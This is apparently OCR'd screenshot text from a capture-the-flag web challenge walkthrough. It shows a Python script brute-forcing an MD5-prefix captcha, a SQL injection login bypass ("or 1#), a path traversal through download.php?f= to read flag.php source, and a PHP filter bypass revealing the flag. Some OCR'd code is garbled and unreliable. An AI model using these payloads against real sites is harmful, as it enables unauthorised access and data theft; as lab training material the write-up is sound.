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Username
Password

substr(md5(captcha), 0, 6)=22a03c
aptcha:

' Submit ..

bt A

1 import hashlib

2

3

4 def func(md5_val):

5 for x in range(1,100000000):
6 md5_value=hashlib.md5(str(x)).hexdigest()
7 if md5_value[:6]==md5_val:
8 return str(x)
9
10
11 print func(raw_input('md5_val:'))
12
13

14 raw_input('ok")
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Username
"or 1#
Password

substr(md5(captcha), 0, 6)=66de1e
Captcha:
10729257 \

' Submit |

Welcome ' or 1#!
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1. hello.txt
2. sixt

3. a.php
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flag{wow!!!but not true}

It LA#4i%/Challenges/file/download.php?f=/var/www/html/Challenges/flag.php
™ _var www_html_Challenges flag.php X

f = $_PoST[*flag'];
= stripeplace(arcay(® =, %, 5, H®5 a N\, 5,
if((strlen($f) > 13) || (false !== stripos($f, 'return')))

é
$

return false;
}
if ($spaceone === 'flag'){
echo file get contents("helloctf.php”);

}
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®  split URL
» Execute
Enable Post data [ ] Enable Referrer

Post data flag="flag;

<{?php

$flag="flag{c77ealec—6ff3—4196-b924-608726da8c73} " :
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